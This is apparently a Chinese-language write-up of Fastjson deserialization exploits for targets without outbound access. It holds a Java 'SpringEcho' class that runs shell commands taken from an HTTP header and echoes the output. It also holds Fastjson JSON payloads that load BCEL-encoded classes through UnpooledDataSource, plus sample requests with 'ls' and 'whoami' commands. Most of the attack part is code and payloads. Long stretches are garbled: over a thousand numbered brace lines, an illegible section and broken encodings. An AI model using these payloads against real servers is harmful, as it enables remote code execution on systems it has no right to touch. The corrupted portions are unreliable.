

- SpringEcho

```
import java.lang.reflect.Method;
import java.util.Scanner;

public class SpringEcho {
    //静态代码块在类加载的时候就会去执行
    static {
        try {
            //首先获取当前的HttpServletRequest和HttpServletResponse对象。
            Class c =
Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
            Method m = c.getMethod("getRequestAttributes");
            Object o = m.invoke(null);
            c =
Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
            m = c.getMethod("getResponse");
            Method m1 = c.getMethod("getRequest");
            Object resp = m.invoke(o);
            Object req = m1.invoke(o); // HttpServletRequest
            //通过反射获取HttpServletRequest的"getHeader"方法，用于获取HTTP请求
            头"cmd"的值，通过变量"cmd"执行系统命令。
            Method getWriter =
Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
            Method getHeader =
Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
            getHeader.setAccessible(true);
            getWriter.setAccessible(true);
            Object writer = getWriter.invoke(resp);
            String cmd = (String)getHeader.invoke(req, "cmd");
            String[] commands = new String[3];
            //这里对操作系统做了判断，windows和linux的采用cmd和/bin/bash来命令执行
            if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
                commands[0] = "cmd";
                commands[1] = "/c";
            } else {
                commands[0] = "/bin/sh";
                commands[1] = "-c";
            }
            commands[2] = cmd;
            //使用反射获取"writer"对象的方法，然后执行命令并输出结果
            writer.getClass().getDeclaredMethod("println",
String.class).invoke(writer, new
Scanner(Runtime.getRuntime().exec(commands).getInputStream()).useDelimiter("\\A"
).next());
            writer.getClass().getDeclaredMethod("flush").invoke(writer);
            writer.getClass().getDeclaredMethod("close").invoke(writer);
        } catch (Exception e) {

        }
    }
}
```

```
}  
}
```

[文章 - Fastjson不出网利用总结 - 先知社区](#)

SpringEcho 回显


```
{
  "x": {
    "@type": "com.alibaba.fastjson.JSONObject",
    "name": "java.lang.Class",
    "val": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource",
    "c": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource",
    "key": "java.lang.Class",
    "val": "com.sun.org.apache.bcel.internal.util.ClassLoader",
    "driverClassLoader": "com.sun.org.apache.bcel.internal.util.ClassLoader",
    "driver": "$BCEL$1$8b$I$A$A$A$A$A$A$A$5wyx$u$g$Z$ff$cd$5e3$3b$99$90dCB$W$u$G$N$b09v$b7$a1$95B$c2$99$90$40j$S$u$hK$97P$db$c9$ec$q$3bd3$Tfg$J$a0$b6$k$d4$D$8fz$8f$daP0$b4$ae$b7P$eb$S$U9$eaA$b1z$8fzT$ad$d6zk$f1$f6$8f$da$f6$B$7c$bf$99$N$d9$84$ad$3c$3e$sy$be$f9$1$e$f7$7b$ef$f7$f7$be3y$fc$e2$p$a7$A$dc$80$7f$89$Q1$m$60P$84$PI$b6h$Cv$f3$Y$e2$91$f2$a3$E$c3$8c$a4$f30x$8c$88t$de$p$c2D$9a$JY$C2$ecr$_$8fQ$B$fb$E$ec$e7q$80$R$5e$c3$e3$b5$ec$f9$3a$R$d5$b8S$c4$5dx$3d$5b$de$m$e2$8dx$T$5b$0$K$b8$5bD7$de$cc$e3$z$e$c$fcv$Bo$T$d1$84C$c$de$$$e0$j$3c$de$v$e0$5d$c$ee$R$f0n$K$f7$Kx$P$8f$f7$96$a0$B$e$fc$cb$fb$F$dc$t$e0$D$c$ee$e71$s$e00$T$bc$93$z$P$I$f8$a0$80$P$J$f8$b0$80$8f$88$f8$u$3e$c6$a8G$E$7c$5$c0$t$E$3c$u$e0$93$C$b2$3c$3e$c5$e3$d3$o6$e03l$f9$ac$88$cf$e1$f3$o$d6$e3$L$c$be$c8$9eG$d9r$8c$89$3e$c4$7c$fc$s$d3$f4$b0$88$_$p$c7c$9c$83o$b5$a6k$d6Z$o$eeP$dd$z$i$3cmFB$e5P$d6$a5$e9jOf$b8_5$7b$e5$fe$UQ$fc$a3$a6f$a9$adFb$3f$879$a1$a$e$dd$f2$5e9$9a$92$f5$c1$e8$d6$fe$dd$aab$b5$f4$b52$f1$d2$98$r$xc$dd$f2$88$zE$89$a4$U$da$b9$k$e2$m$b6$efs$d4$RK3$f44$H$ef$a0$ju$90$c0$ca$o$aa$K$u1$cb$d4$f4$c1$96$ba$x$99xLPY8$I$ab$95$94$j$B$8f$e3$94$40$ca$_$r$97$c7$pd$_$fdLE$ed$d0$98$fbe$bd$c6$b0$o$5b$edJ$d2$880$5d$Sz$b0$95C$ada$0F$e4$RYI$aa$R$cb$e6$88d$y$z$v$e9$cf$MDZ$f7$5bj$5b2$a3$PI8$81$aFh8$89Sd$$$adZ$ec$82B$u$9b$f2$a9$z$r$a7$89$e2$eak$95p$gg$q$3c$8a$afr$u$9f$e94$87$8a$VR$a7n$a9$83$aa$c9$i$f9$g$8f$afk$f8$G$ceJx$M$e7$8f0$Jc$H$cb$b6$84o2$3d$8bf$Y$ea1$ac$0$p$a3$t$$$e7$93C$rc$89$e8$9aa$7b$dd$9a$Z$YPM$w$e6$a8$v$8fpX8r$dffc$c42J$b2$5b$b5$92$c6$94$b8$84$c7$f1$z$o$Lf$b2uhj$aa$90$eb$db8$c7$bc$7d$82R$_$e1$3b$f8$ae$84$ef$e1$fb$94v$JO$e2$H$S$7e$88$l$91$ebv$d2T$e5DZ$c2N$f4$91_$7dF$F95$eb$b5$aFz$q$fc$YO$91s$ea$3eU$91$f0$T$fc$94$f6I$cb$og$7d$96l$S$8$E$a6$84$b6gt$ddA$a0$cfJj$e9$da$eb$c8FR$d6$T$v$W$a0o0e$f4$cb$a9$7c$fc$8e$40AV$c4$R$d3P$d4t$da0$a98$b3l$wv$ddh$97$96$b6$q$fc$MO$b3$I$7eN$d07$d5$3d$ij$c8$f4v5$3dB$f8dx$a7$d3fr$97$99$v$9f$JH$c2A$af$9a$b6TB$93$84_$e0$Zb$t$5c$Q$f6$ad$MY$f2$cb$89$c4$a4$u$c$f$8$94$e1$E$ed$8ctD$97$87$a9$v$7e$v$e1Y$fcJ$c2$aFy$g$7c$a3$9a$9e0F$e9$9e$b8$o$94$T$82QT$a1c$b4_$d3$a3$e9$q$j$c3$ca$qp1$efc$8a$ac$ebLw$cd$94$5b$db$9c$40$5b3Z$w$e1$60$ea7$S$7e$8b$df$f1$f8$bd$84$3f$e0$8f$8c$f2$tR$b5k$83$84$e7p$5e$c2$9f$f1$94$84$bff$e0$af$S$b6$p$S$e1o$f8$3b$8f$7fH$f8$tsi$9eb$MG$H$e4$b4$b5$3bm$e8$d1$bD$99Tt$aay$a8$f9$a7$ac$9a$ea$40$8a$60$j$b5$812$zMN$a9g$d4$3f$df$cc$U$d$b80a$f6P$W8$y$J$fd$f7f$b7$f1N$S$r$ba$3a$da$a9$a7$zyWHjv$a8$c8$40$m$U$f5$c6$b7$b5$aa$8a$c8WP57$aaJJ6$d5$84$83$7e$0$eb$8b$d8$ee$bbB$b6$d0$d2d$bc$8e$Gf1$d4$c9$a6$5e$cd$cb$b1Py5$7d$af1D$3e$af$w63$af$Q$V$NL$m$ef$f3$p$a62T$y$3d$M$ac$93$W$cb$LB$cd$x$S$7c$95$yO$a$b$p$a9$x$r$v$b1$cc$88j$w$8e$d1$aab$f2l$da$T$e87$u$Mx$9a$dd$a1$9e$d0NFv$db$3d$bc$b4H$c0E$a3$xU2$a6$a9$ea$d6$qf$a6w7$3f4$a8$7fI$abs$d8d$gZ$9a$W$c1$o$7c$f6$VC$Y1$3b$I$9b$ae$ed2$E$F$c5$d0$zYc$af$a2y$85$8e$b6$re3$a6$ee$c9$a8$E$b4$96$ba$9d$USZ$3b$a0$dao$c7N$96$88$ce$a2$n$f0Z$ba$7dx$c4$dao$f3$ed$9c$3e0$f6$d3$9c$Yv$a6$Lu$v$r$95$b1$z$bdJ$E$$$fbYb$Z$5d$c6$a8j$b6$c9l$uU$87$8a$f4$TK$b9$97Z$c3$b4$98$83$85Z$f2S$a1e$da$7b$tot$S$da$a9$8fdhnQ$ea$86$d9k$3d$_$ac$Z$d1$82$L$S$af$J$V$bd$60$96$a5LZ$dd$a8$a6$b4az_$d1LZ$f6$f2$81$v$O$_$d6$3b$ba$ba$cfr$b0$9d$7f$a1zBu$7d$ad$O$fa$f2$99$d2$Y$b9$ST$a8$60$ea$86t$cc$F$T$9d$96$e1$98$c6b$fa$e2$R$c1$7e$3c$e0$d8$x$9f$d6mt$ba$86$9e$i$3d$bd$f5$e3$e0$8e$d1$86$c3$cd$b4$fa$i$o$89$d0T$84$8b$b1r$a3$f4$91$e8$r$ea$8b$B$d7$E$dc$3d$e1$i$3c$dd$e1$80$d7w$S$be$b8$3b$c0$c7$e2$9e$87$m$c4$e2$5e$b6$e6$e0o$f4$9e$84$Yw7$Q$dd$d9$9d$40I$dc$3d$O$89$I$l$dbp$8a$ed$89$b3tG$7d$O$b3$Ce$k$5bQ$98$u$e5$f5$k$5b$a2$d1$be$cd$e2P$b3$t$Q$b0m$G$W$3d$93$e6$c8D$d8$937A1$ddws$d2$fe$ff$x9F$99$A$M$fa$ae$b0$9f$e3$98M$U$96$af$b5$u$a3$b5$83$f2$b6$89$b2$b4$99h$9dt$bf$9d8o$82$85$z8$80$$$dcG$rx$98h$e3$94$fe$e3T$80$d3$94$d5$a7$89$f3$F$f4$d2$_$0H$ee$e7a$f2x$d5$f3$d8$c8$e3$96$L$d8$c0c$H$8f$5b$R$cfw$a$d8e$caA$1$TN9$f0A$A$dcv9vr$b6$d7$U$96$f8$m$aa$c3$N9TugQ$da$ec$a1$c$cd$e9$c9$5ez$ae$f11H$tP$jo$YG$cd$e9FO$O$c1F$S$98$7b$944$96$a2$92$be$e4$ab$f3A$y$87D$eb$O$3a$d$dK$9e$y$95b$x$dd$dfF$f7$afF$Nn$t$ac$dc$81EPP$8b$E$c2$Y$m$feA$dbf1$Kx$$$80$e7$b1$8b$9c$ed$e1q$9b_$wpY$m$e1$3c$d8$dc$S$9dJ$A$d7$cd$ee$96$J$cc$cba$7e$e0$9a$J$y8$
```

83\$85\$f4\$d7\$e5\$5e3\$bf\$e1\$d4\$R\$d7\$f5\$N\$f3\$97\$f7\$84\$c\$f\$ba\$96\$90\$fb\$8b\$9a\$3dAO\$60q\$
o\$d7\$kvU\$d1\$ee\$V\$b4\$hs\$95\$84\$D\$b5\$q\$d6\$ec\$Nz\$1\$c5\$921\$ee\$a5\$a07\$b0\$94\$I\$81e1\$J\$d
9WY\$I\$cd\$be\$y\$f7\$y\$5d\$d5\$db\$s\$g\$9a\$7d\$ee\$V\$7c\$v\$1\$f4\$jG\$p\$87\$p\$dc\$a9\$a0\$af\$8a\$3f
\$8e\$b0\$L\$L\$cdBP\$ID\$f2\$gY\$f\$d\$a3n\$aa\$3f\$d5\$3e\$e8\$a5\$8dH\$85o\$f6\$3b\$X\$d7\$e5q\$d3\$U\$b3o\$
3dyx7\$c5\$D\$cb\$c7q\$3d\$83\$c8\$Z41\$9f\$cfb\$uH\$89\$be\$e10\$94\$a0\$9fI\$be\$d2\$91tZ\$a3\$3c\$e8
\$f7\$5c\$ee\$88\$K\$9cc\$7d\$c0\$e0\$e5\$b0\$ae\$f0N\$g\$89\$7b\$f2\$96\$fc\$de\$Z\$96\$e2d\$c3\$w\$f1\$b4
\$5c\$cd\$b3\$hgZ6\$96\$f7\$ec\$de\$ff\$c1\$b3\$c0\$ca\$J\$ac\$ca\$a19\$d0\$c2\$w\$80\$m\$f5\$7c\$TY\$5b\$c
d\$5c\$5cC\$zO\$dQ\$9d\$a7\$aee\$d4u\$O\$b5Y\$M\$faO\$60\$7d\$fc\$E6\$c4\$83\$e28Zsh\$cba\$e38\$da\$D
\$j9l\$caas\$O\$9d\$T\$b8\$89\$e2\$m\$d7Jl\$d7\$c6P5w\$M\$VA\$ff\$E\$b6\$e4\$d0\$e50\$Q\$c5\$97\$85\$ff\$m
\$cfe\$_\$ae\$9e\$3c\$b8\$b8\$ec\$85\$t\$b2\$f01a\$8d\$d9\$D\$99pYg\$f0\$earm\$a5\$a7\$83\$e9\$p\$I\$d1\$w
\$d0\$c90\$cdZ\$82\$f9\$84\$f1E\$84\$ecZ\$ccB\$3d5\$edZ\$94s\$dbv\$90t\$r\$c9w\$93\$86\$d9\$84\$ec\$wh\$
84\$f8\$M\$e6\$e2\$m\$e6\$e1\$k\$92\$ba\$9f\$d0\$7f\$M\$L\$f0\$M\$W\$e2\$3c\$Wq\$d5X\$ccu\$e2Zn\$L\$96p\$fb
\$b0\$94\$bb\$h\$cb\$b8\$a3\$Iq\$e7Q\$e7\$aa\$40\$bd\$ab\$92\$90U\$8b\$88k9\$9a\$5c\$x\$b0\$dc\$b5\$ks\$5d
\$eb\$b0\$c2\$d5\$86\$h\$5d\$j\$uqua\$jy\$b9\$c6\$b5\$8d\$feU\$ed\$b5\$bb\$ae\$fc\$O\$aa9\$k\$L\$b9K4\$t\$7
c\$f6\$8e\$c7\$ed\$3c\$ee\$a0\$v\$A\$da\$ca\$d4d\$b3x\$f4s\$X\$f0\$a4\$3d\$Yv\$bc\$84C\$dby\$uuR\$c5\$L\$f
0\$bd\$I\$ef\$r\$g\$3fn\$5b\$Q\$f87\$bc\$ad\$q\$c3\$e6y\$82\$d4\$bb\$a0\$feH\$d8\$3e\$ebc\$Z\$Q\$A\$A"}}}:
"a"}}}

request

PrettyRawHex

8 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

9 Cookie: JSESSIONID=9DB4AA32951C7792DC8CAD2850D20AC7

10 Content-Type: application/json

11 Connection: close

12 Content-Length: 5778

13 Testcmd:ls

14

15 {

16 {

17 {

18 {

19 {

20 {

21 {

22 {

23 {

24 {

25 {

26 {

27 {

28 {

29 {

30 {

31 {

32 {

33 {

34 {

35 {

36 {

37 {

38 {

39 {

40 {

41 {

42 {

43 {

44 {

45 {

46 {

47 {

48 {

49 {

50 {

51 {

52 {

53 {

54 {

55 {

56 {

57 {

58 {

59 {

60 {

61 {

62 {

63 {

64 {

65 {

66 {

67 {

68 {

69 {

70 {

71 {

72 {

73 {

74 {

75 {

76 {

77 {

78 {

79 {

80 {

81 {

82 {

83 {

84 {

85 {

86 {

87 {

88 {

89 {

90 {

91 {

92 {

93 {

94 {

95 {

96 {

97 {

98 {

99 {

100 {

101 {

102 {

103 {

104 {

105 {

106 {

107 {

108 {

109 {

110 {

111 {

112 {

113 {

114 {

115 {

116 {

117 {

118 {

119 {

120 {

121 {

122 {

123 {

124 {

125 {

126 {

127 {

128 {

129 {

130 {

131 {

132 {

133 {

134 {

135 {

136 {

137 {

138 {

139 {

140 {

141 {

142 {

143 {

144 {

145 {

146 {

147 {

148 {

149 {

150 {

151 {

152 {

153 {

154 {

155 {

156 {

157 {

158 {

159 {

160 {

161 {

162 {

163 {

164 {

165 {

166 {

167 {

168 {

169 {

170 {

171 {

172 {

173 {

174 {

175 {

176 {

177 {

178 {

179 {

180 {

181 {

182 {

183 {

184 {

185 {

186 {

187 {

188 {

189 {

190 {

191 {

192 {

193 {

194 {

195 {

196 {

197 {

198 {

199 {

200 {

201 {

202 {

203 {

204 {

205 {

206 {

207 {

208 {

209 {

210 {

211 {

212 {

213 {

214 {

215 {

216 {

217 {

218 {

219 {

220 {

221 {

222 {

223 {

224 {

225 {

226 {

227 {

228 {

229 {

230 {

231 {

232 {

233 {

234 {

235 {

236 {

237 {

238 {

239 {

240 {

241 {

242 {

243 {

244 {

245 {

246 {

247 {

248 {

249 {

250 {

251 {

252 {

253 {

254 {

255 {

256 {

257 {

258 {

259 {

260 {

261 {

262 {

263 {

264 {

265 {

266 {

267 {

268 {

269 {

270 {

271 {

272 {

273 {

274 {

275 {

276 {

277 {

278 {

279 {

280 {

281 {

282 {

283 {

284 {

285 {

286 {

287 {

288 {

289 {

290 {

291 {

292 {

293 {

294 {

295 {

296 {

297 {

298 {

299 {

300 {

301 {

302 {

303 {

304 {

305 {

306 {

307 {

308 {

309 {

310 {

311 {

312 {

313 {

314 {

315 {

316 {

317 {

318 {

319 {

320 {

321 {

322 {

323 {

324 {

325 {

326 {

327 {

328 {

329 {

330 {

331 {

332 {

333 {

334 {

335 {

336 {

337 {

338 {

339 {

340 {

341 {

342 {

343 {

344 {

345 {

346 {

347 {

348 {

349 {

350 {

351 {

352 {

353 {

354 {

355 {

356 {

357 {

358 {

359 {

360 {

361 {

362 {

363 {

364 {

365 {

366 {

367 {

368 {

369 {

370 {

371 {

372 {

373 {

374 {

375 {

376 {

377 {

378 {

379 {

380 {

381 {

382 {

383 {

384 {

385 {

386 {

387 {

388 {

389 {

390 {

391 {

392 {

393 {

394 {

395 {

396 {

397 {

398 {

399 {

400 {

401 {

402 {

403 {

404 {

405 {

406 {

407 {

408 {

409 {

410 {

411 {

412 {

413 {

414 {

415 {

416 {

417 {

418 {

419 {

420 {

421 {

422 {

423 {

424 {

425 {

426 {

427 {

428 {

429 {

430 {

431 {

432 {

433 {

434 {

435 {

436 {

437 {

438 {

439 {

440 {

441 {

442 {

443 {

444 {

445 {

446 {

447 {

448 {

449 {

450 {

451 {

452 {

453 {

454 {

455 {

456 {

457 {

458 {

459 {

460 {

461 {

462 {

463 {

464 {

465 {

466 {

467 {

468 {

469 {

470 {

471 {

472 {

473 {

474 {

475 {

476 {

477 {

478 {

479 {

480 {

481 {

482 {

483 {

484 {

485 {

486 {

487 {

488 {

489 {

490 {

491 {

492 {

493 {

494 {

495 {

496 {

497 {

498 {

499 {

500 {

501 {

502 {

503 {

504 {

505 {

506 {

507 {

508 {

509 {

510 {

511 {

512 {

513 {

514 {

515 {

516 {

517 {

518 {

519 {

520 {

521 {

522 {

523 {

524 {

525 {

526 {

527 {

528 {

529 {

530 {

531 {

532 {

533 {

534 {

535 {

536 {

537 {

538 {

539 {

540 {

541 {

542 {

543 {

544 {

545 {

546 {

547 {

548 {

549 {

550 {

551 {

552 {

553 {

554 {

555 {

556 {

557 {

558 {

559 {

560 {

561 {

562 {

563 {

564 {

565 {

566 {

567 {

568 {

569 {

570 {

571 {

572 {

573 {

574 {

575 {

576 {

577 {

578 {

579 {

580 {

581 {

582 {

583 {

584 {

585 {

586 {

587 {

588 {

589 {

590 {

591 {

592 {

593 {

594 {

595 {

596 {

597 {

598 {

599 {

600 {

601 {

602 {

603 {

604 {

605 {

606 {

607 {

608 {

609 {

610 {

611 {

612 {

613 {

614 {

615 {

616 {

617 {

618 {

619 {

620 {

621 {

622 {

623 {

624 {

625 {

626 {

627 {

628 {

629 {

630 {

631 {

632 {

633 {

634 {

635 {

636 {

637 {

638 {

639 {

640 {

641 {

642 {

643 {

644 {

645 {

646 {

647 {

648 {

649 {

650 {

651 {

652 {

653 {

654 {

655 {

656 {

657 {

658 {

659 {

660 {

661 {

662 {

663 {

664 {

665 {

666 {

667 {

668 {

669 {

670 {

671 {

672 {

673 {

674 {

675 {

676 {

677 {

678 {

679 {

680 {

681 {

682 {

683 {

684 {

685 {

686 {

687 {

688 {

689 {

690 {

691 {

692 {

693 {

694 {

695 {

696 {

697 {

698 {

699 {

700 {

701 {

702 {

703 {

704 {

705 {

706 {

707 {

708 {

709 {

710 {

711 {

712 {

713 {

714 {

715 {

716 {

717 {

718 {

719 {

720 {

721 {

722 {

723 {

724 {

725 {

726 {

727 {

728 {

729 {

730 {

731 {

732 {

733 {

734 {

735 {

736 {

737 {

738 {

739 {

740 {

741 {

742 {

743 {

744 {

745 {

746 {

747 {

748 {

749 {

750 {

751 {

752 {

753 {

754 {

755 {

756 {

757 {

758 {

759 {

760 {

761 {

762 {

763 {

764 {

765 {

766 {

767 {

768 {

769 {

770 {

771 {

772 {

773 {

774 {

775 {

776 {

777 {

778 {

779 {

780 {

781 {

782 {

783 {

784 {

785 {

786 {

787 {

788 {

789 {

790 {

791 {

792 {

793 {

794 {

795 {

796 {

797 {

798 {

799 {

800 {

801 {

802 {

803 {

804 {

805 {

806 {

807 {

808 {

809 {

810 {

811 {

812 {

813 {

814 {

815 {

816 {

817 {

818 {

819 {

820 {

821 {

822 {

823 {

824 {

825 {

826 {

827 {

828 {

829 {

830 {

831 {

832 {

833 {

834 {

835 {

836 {

837 {

838 {

839 {

840 {

841 {

842 {

843 {

844 {

845 {

846 {

847 {

848 {

849 {

850 {

851 {

852 {

853 {

854 {

855 {

856 {

857 {

858 {

859 {

860 {

861 {

862 {

863 {

864 {

865 {

866 {

867 {

868 {

869 {

870 {

871 {

872 {

873 {

874 {

875 {

876 {

877 {

878 {

879 {

880 {

881 {

882 {

883 {

884 {

885 {

886 {

887 {

888 {

889 {

890 {

891 {

892 {

893 {

894 {

895 {

896 {

897 {

898 {

899 {

900 {

901 {

902 {

903 {

904 {

905 {

906 {

907 {

908 {

909 {

910 {

911 {

912 {

913 {

914 {

915 {

916 {

917 {

918 {

919 {

920 {

921 {

922 {

923 {

924 {

925 {

926 {

927 {

928 {

929 {

930 {

931 {

932 {

933 {

934 {

935 {

936 {

937 {

938 {

939 {

940 {

941 {

942 {

943 {

944 {

945 {

946 {

947 {

948 {

949 {

950 {

951 {

952 {

953 {

954 {

955 {

956 {

957 {

958 {

959 {

960 {

961 {

962 {

963 {

964 {

965 {

966 {

967 {

968 {

969 {

970 {

971 {

972 {

973 {

974 {

975 {

976 {

977 {

978 {

979 {

980 {

981 {

982 {

983 {

984 {

985 {

986 {

987 {

988 {

989 {

990 {

991 {

992 {

993 {

994 {

995 {

996 {

997 {

998 {

999 {

1000 {

1001 {

1002 {

1003 {

1004 {

1005 {

1006 {

1007 {

1008 {

1009 {

1010 {

1011 {

1012 {

1013 {

1014 {

1015 {

1016 {

1017 {

1018 {

1019 {

1020 {

1021 {

1022 {

1023 {

1024 {

1025 {

1026 {

1027 {

1028 {

1029 {

1030 {

1031 {

1032 {

1033 {

1034 {

1035 {

1036 {

1037 {

1038 {

1039 {

1040 {

1041 {

1042 {

1043 {

1044 {

1045 {

1046 {

1047 {

1048 {

1049 {

1050 {

1051 {

1052 {

1053 {

1054 {

1055 {

1056 {

1057 {

1058 {

1059 {

1060 {

1061 {

1062 {

1063 {

1064 {

1065 {

1066 {

1067 {

1068 {

1069 {

1070 {

1071 {

1072 {

1073 {

1074 {

1075 {

1076 {

1077 {

1078 {

1079 {

1080 {

1081 {

1082 {

1083 {

1084 {

1085 {

1086 {

1087 {

1088 {

1089 {

1090 {

1091 {

1092 {

1093 {

1094 {

1095 {

1096 {

1097 {

1098 {

1099 {

1100 {

1101 {

1102 {

1103 {

1104 {

1105 {

1106 {

1107 {

1108 {

1109 {

1110 {

1111 {

1112 {

1113 {

1114 {

1115 {

1116 {

1117 {

1118 {

1119 {

1120 {

1121 {

1122 {

1123 {

1124 {

1125 {

1126 {

1127 {

1128 {

1129 {

1130 {

1131 {

1132 {

1133 {

1134 {

1135 {

1136 {

1137 {

1138 {

1139 {

1140 {

1141 {

1142 {

1143 {

1144 {

1145 {

1146 {

1147 {

1148 {

1149 {

1150 {

1151 {

1152 {

1153 {

1154 {

1155 {

1156 {

1157 {

1158 {

1159 {

1160 {

1161 {

1162 {

1163 {

1164 {

1165 {

1166 {

1167 {

1168 {

1169 {

1170 {

1171 {

1172 {

1173 {

1174 {

1175 {

1176 {

1177 {

1178 {

1179 {

1180 {

1181 {

1182 {

1183 {

1184 {

1185 {

1186 {

1187 {

1188 {

1189 {

1190 {

1191 {

1192 {

1193 {

1194 {

1195 {

1196 {

1197 {

1198 {

1199 {

1200 {

1201 {

1202 {

1203 {

1204 {

1205 {

1206 {

1207 {

1208 {

1209 {

1210 {

1211 {

1212 {

1213 {

1214 {

1215 {

1216 {

1217 {

1218 {

1219 {

1220 {

1221 {

1222 {

1223 {

1224 {

1225 {

1226 {

1227 {

1228 {

1229 {

1230 {

1231 {

1232

[illegible]

```
3$w$f1$b4$5c$cd$b3$hgZ6$96$f7$ec$de$ff$c1$b3$c0$ca$j$ac$ca$a19$d0$c2$w$80$m$f5$7
c$TY$5b$cd$5c$5cc$z0$dedQ$9d$a7$aee$d4u$0$b5Y$M$fa0$60$7d$fc$E6$c4$83$e28Zsh$cba
$e38$da$D$j9l$caas$0$9d$T$b8$89$e2$m$d7j1$d7$c6P5w$M$VA$ff$E$b6$e4$d0$e50$Q$c5$9
7$85$ff$m$cfe$_$ae$9e$3c$b8$b8$ec$85$t$b2$f01a$8d$d9$D$99pYG$f0$earm$a5$a7$83$e9
$p$I$d1$w$d0$c90$cdZ$82$f9$84$f1E$84$ecZ$ccB$3d5$edZ$94s$dbv$90t$r$c9w$93$86$d9$
84$ec$wh$84$f8$M$e6$e2$m$e6$e1$k$92$ba$9f$d0$7f$M$L$f0$M$W$e2$3c$Wq$d5X$ccu$e2Zn
$L$96p$fb$b0$94$bb$h$cb$b8$a3$Iq$e7Q$e7$aa$40$bd$ab$92$90U$8b$88k9$9a$5c$x$b0$dc
$b5$ks$5d$eb$b0$c2$d5$86$h$5d$j$uqua$jy$b9$c6$b5$8d$feU$ed$b5$bb$ae$fc$o$aa9$k$L
$b9K4$t$7c$f6$8e$c7$ed$3c$ee$a0$v$A$da$ca$d4d$b3x$f4s$x$f0$a4$3d$Yv$bc$84C$dby$u
uR$c5$L$f0$bd$I$ef$r$g$3fn$5b$Q$f87$bc$ad$q$c3$e6y$82$d4$bb$a0$fe$H$d8$3e$ebc$Z$
Q$A$A"
    }
}
```

abitis 回显

适用于weblogic、jboss等非tomcat中间件且引入了ibatis组件的情况

```
<dependency>  
  <groupId>org.mybatis</groupId>  
  <artifactId>mybatis</artifactId>  
  <version>3.5.2</version>  
</dependency>
```

POST

Testcmd:whoami


```
{ "@type": "com.alibaba.fastjson.JSONObject", "name":
{"@type": "java.lang.Class", "val": "org.apache.ibatis.datasource.unpooled.Unpooled
DataSource"}, "c":
{"@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource", "key":
{"@type": "java.lang.Class", "val": "com.sun.org.apache.bcel.internal.util.ClassLoa
der"}, "driverClassLoader":
{"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"}, "driver": "
{$$BCEL$$1$8b$I$A$A$A$A$A$A$A$5wyx$u$g$Z$ff$cd$5e3$3b$99$90dcb$w$u$g$N$b09v$b7$a
1$95B$c2$99$90$40j$S$u$hK$97P$db$c9$ec$q$3bd3$Tfg$J$a0$b6$k$d4$D$8fz$8f$daPO$b4$
ae$b7P$eb$S$U9$eaA$b1z$8fzT$ad$d6zk$f1$f6$8f$da$f6$B$7c$bf$99$N$d9$84$ad$3c$3e$S
y$be$f9$be$f7$7b$ef$f7$f7$be3y$fc$e2$p$a7$A$dc$80$7f$89$Q1$m$60P$84$PI$b6h$Cv$f7
$Y$e2$91$f2$a3$E$c3$8c$a4$f30x$8c$88t$de$p$c2D$9a$JY$C2$ecr$_$8fQ$B$fb$E$ec$e7q$
80$R$5e$c3$e3$b5$ec$f9$3a$R$d5$b8S$c4$5dx$3d$5b$de$m$e2$8dx$T$5b$b0$K$b8$5bD7$de$
cc$e3$z$ec$fcv$Bo$T$d1$84C$C$de$$$e0$j$3c$de$V$e0$5d$C$ee$R$f0n$K$f7$Kx$P$8f$f7$
96$a0$B$efc$cb$fb$F$dc$t$e0$D$C$ee$e71$S$e00$T$bc$93$z$P$I$f8$a0$80$P$J$f8$b0$80
$8f$88$f8$u$3e$c6$a8G$E$7c$5$c0$t$E$3c$u$e0$93$C$b2$3c$3e$c5$e3$d3$o6$e03l$f9$a
c$88$c$f$e1$f3$o$d6$e3$L$C$be$c8$9eG$d9r$8c$89$3e$c4$7c$fc$S$d3$f4$b0$88$_$p$c7c$
9c$83o$b5$a6k$d6z$O$eeP$dd$z$z$i$3cmFB$e5P$d6$a5$e9jOf$b8_5$7b$e5$fe$UQ$fc$a3$a6f$
a9$adFb$3f$879$a1$ae$dd$f2$5e9$9a$92$f5$c1$e8$d6$fe$dd$aab$b5$f4$b52$f1$d2$98$r$
xc$dd$f2$88$zE$89$a4$U$da$b9$K$e2$m$b6$efs$d4$RK3$f44$H$ef$a0$ju$90$c0$ca$so$aa$K$
u1$cb$d4$f4$c1$96$ba$x$99xLPY8$I$ab$95$94$j$B$8f$e3$94$40$ca$_$r$97$c7$pd$_$fdLE$
ed$d0$98$fbe$bd$c6$b0$o$5b$edJ$d2$880$5d$Sz$b0$95C$ada$OF$e4$RYI$aa$R$cb$e6$88d$
y$z$V$e9$c$f$MDZ$f7$5bj$5b2$a3$PI8$81$aFh8$89Sd$$$adZ$ec$82B$u$9b$f2$a9$z$r$a7$89
$e2$eak$95p$gg$q$3c$8a$afr$u$9f$e94$87$8a$vR$a7n$a9$83$aa$c9$i$f9$g$8f$afk$f8$G$
ceJx$M$e78$f0$Jc$H$cb$b6$84o2$3d$8bf$Y$ea1$a$c0$p$a3$t$$$e7$93C$rc$89$e8$9aa$7b$
dd$9a$Z$YPM$w$e6$a8$v$8fpX8$r$dfc$c42J$b2$5b$b5$92$c6$94$b8$84$c7$f1$z$O$Lf$b2uh
j$aa$90$eb$db8$c7$bc$7d$82R$_$e1$3b$f8$ae$84$ef$e1$fb$94v$JO$e2$H$S$7e$88$l$91$e
bv$d2T$e5DZ$c2N$f4$91_$7dF$F95$eb$b5$aFz$q$fc$YO$91s$ea$3eU$91$f0$T$fc$94$f6I$cb
oG$7d$96l$S$S$8$E$a6$84$b6gt$ddA$a0$cFjJ$e9$da$eb$c8FR$d6$T$V$w$a0o0e$f4$cb$a9$7
c$fc$8e$40AV$c4$R$d3P$d4t$da0$a98$b3l$wv$ddh$97$96$b6$q$fc$MO$b3$I$7eN$d07$d5$3d
